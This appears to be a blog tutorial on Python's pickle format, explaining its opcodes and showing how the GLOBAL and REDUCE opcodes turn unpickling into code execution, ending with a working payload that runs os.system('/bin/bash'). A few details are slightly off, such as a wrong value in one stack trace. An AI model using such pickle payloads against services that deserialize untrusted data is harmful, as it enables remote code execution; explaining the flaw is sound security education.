Python in a Pickle - an explanation of the Python pickle format and its security problems

Python's pickle module provides an easy way to serialize objects. I like Python because the language is a clear and easy to use with few "ugly" features. Few "ugly" features does not mean no ugly features, and pickles are ugly. Compared with the human readable and widely supported JSON, pickle blobs are inscrutable and Python centric. Even worse, they are a security hazard.

The Pickle Format

From the pickle source code comments[1]:

"A pickle" is a program for a virtual pickle machine (PM, but more accurately called an unpickling machine). It's a sequence of opcodes, interpreted by the PM, building an arbitrarily complex Python object. ...
The PM has two data areas, "the stack" and "the memo". ...
Many opcodes push Python objects onto the stack; ...
Other opcodes take Python objects off the stack. The result of unpickling is whatever object is left on the stack when the final STOP opcode is executed.

Yep, that's right, a pickle is user provided CODE! What could possibly go wrong?

Constructing the Basic Python Types

To start constructing pickles, fire up a repl and look at the list of opcodes in Lib/ Some points to note: opcodes are one character and are followed by their arguments, arguments are terminated with a newline, and pickles end with a period. For example, to construct the string 'Adrian', the opcode is S and the argument would be 'Adrian'. Ending the command with a newline yields: S'Adrian'\n.

>>> import pickle
>>> pickle.loads("S'Adrian'\n.")
>>> pickle.loads("I2017\n.")

Lists are more complicated. To construct them, the "(" opcode is put on the stack to mark the start of the list. Following it, are the list entries. For example the list [1,2,3] would be converted in to the sequence of commands (, I1\n, I2\n, I3\n and result in the following stack:

<whatever is below the list elements on the stack>
The opcode l signals the end of the list and causes everything after the mark to be put in a list that is placed on the stack.
<whatever is below the list on the stack>
Node: that the mark is popped from the stack.

Creating nested lists is not much harder.

>>> pickle.loads("(I1\nI2\nI3\nl.")
[1, 2, 3]
>>> pickle.loads("(S'hello'\nS'bye'\nl.")
['hello', 'bye']
>>> pickle.loads("(S'hello'\n(I1\nI2\nI3\nll.")
['hello', [1, 2, 3]]

To create dictionaries use d to push an empty dictionary to the stack. Then for each key, value pair push the key and values to the stack directly above the dictionary. The s opcode causes the key and value to be popped off the stack and added to the dictionary below them.

>>> pickle.loads("(d.")
>>> pickle.loads("(dS'a'\nI1\ns.")
{'a': 1}
>>> pickle.loads("(dS'a'\nI1\nsS'b'\nI2\ns.")
{'a': 1, 'b': 2}
Here is the history of the stack for previous example:
The stack after (d
The stack after (dS'a'\n
The stack after (dS'a'\nI1\n
The stack after (dS'a'\nI1\ns. The s opcode causes the key value pair on the top of the stack to be added to the dictionary.
The stack after (dS'a'\nI1\nsS'b'\nI2\n
{'a':1, 'b':1}
The next s adds 'b':1 to the stack. At the end of the stream, the final value on the stack is the result of the unpickling process.

Exotic Pickle Opcodes That Cause Trouble

Up til now, we've only seen how to construct instances of "basic" types such as strings or lists. Making lists and strings seems benign. Where is the arbitrary code execution? From Lib/

116     REDUCE          = 'R'   # apply callable to argtuple, both on stack
From StackOverflow "A callable is anything that can be called." [3] Duh!!! So if we can put a "callable" on the stack, we can use this opcode to execute it. But how are we going to get a "callable"?

Reading more of Lib/ reveals the following:

124     GLOBAL          = 'c'   # push self.find_class(modname, name); 2 string args
154     TUPLE1          = '\x85'  # build 1-tuple from stack top
1128    def find_class(self, module, name):
1129        # Subclasses may override this
1130        __import__(module)
1131        mod = sys.modules[module]
1132        klass = getattr(mod, name)
1133        return klass
If we trace what find_class does in the Python repl, we find that it takes the name of a module and a member of the module and returns the module member.
>>> import pickle
>>> import sys
>>> sys.modules['sys']
<module 'sys' (built-in)>
>>> getattr(sys.modules['sys'],'exit')
<built-in function exit>
>>> pickle.loads("csys\nexit\n.")
<built-in function exit>
sys.exit looks like executable code to me. Using the \x85 opcode to build the tuple (1,) and the R opcode to "apply the callable to the argtuple" (ie: call sys.exit with argument 1)), yields the following:
>>> pickle.loads("csys\nexit\nI1\n\x85.")
>>> pickle.loads("csys\nexit\nI1\n\x85R.")
adrs@ABOX-1:/mnt/c/Users/adrian/Documents$ echo $?
Note: after the pickle was unpickled, we are no longer in the repl. This means that we actually called sys.exit(1). Inspecting the return value from the shell reveals that the exit code matches the value our pickle provided.

To wrap up, lets execute os.system('/bin/bash').

>>> import pickle
>>> pickle.loads("cos\nsystem\nS'/bin/bash'\n\x85R.")
Notice we do not need to explicitly import the os module, because line 1130 in find_class does it automatically when called by our pickle. For fancier payloads that can furnish a callback shell, look at [4] and [5].